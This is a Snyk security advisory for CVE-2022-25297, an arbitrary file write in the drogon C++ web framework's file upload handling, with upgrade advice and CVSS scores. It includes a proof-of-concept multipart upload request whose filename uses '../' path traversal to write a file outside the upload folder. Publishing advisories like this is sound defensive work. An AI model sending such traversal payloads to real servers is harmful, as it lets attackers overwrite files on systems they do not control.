

Arbitrary File Write

Affecting drogonframework/drogon package, versions [1.7.5)

INTRODUCED: 13 FEB 2022 CVE-2022-25297 ?
CWE-59 ?

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How to fix?

Upgrade drogonframework/drogon to version 1.7.5 or higher.

Overview

drogonframework/drogon is a C++14/17-based HTTP application framework.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using `HttpFile::save()` method may enable attackers to write files to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the [file_upload](#) example.

```
POST /upload_endpoint HTTP/1.1 Host: localhost:8848 Content-
Length: 150 Content-Type: multipart/form-data; boundary=----xxx
Connection: close
-----xxx Content-Disposition: form-data; name="file";
filename="../../../../../../../malicious-file" Content-Type:
text/plain

pwned
```



Snyk CVSS

Attack Complexity	High	?
Confidentiality	HIGH	?
Integrity	HIGH	?
Availability	HIGH	?

[See more](#)

> NVD 8.8 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

-----xxx--

References

- [GitHub Commit](#)
- [GitHub PR](#)

Test your applications

SnykSNYK-UNMANAGED-
ID DROGONFRAMEWORKDROG(
2407243

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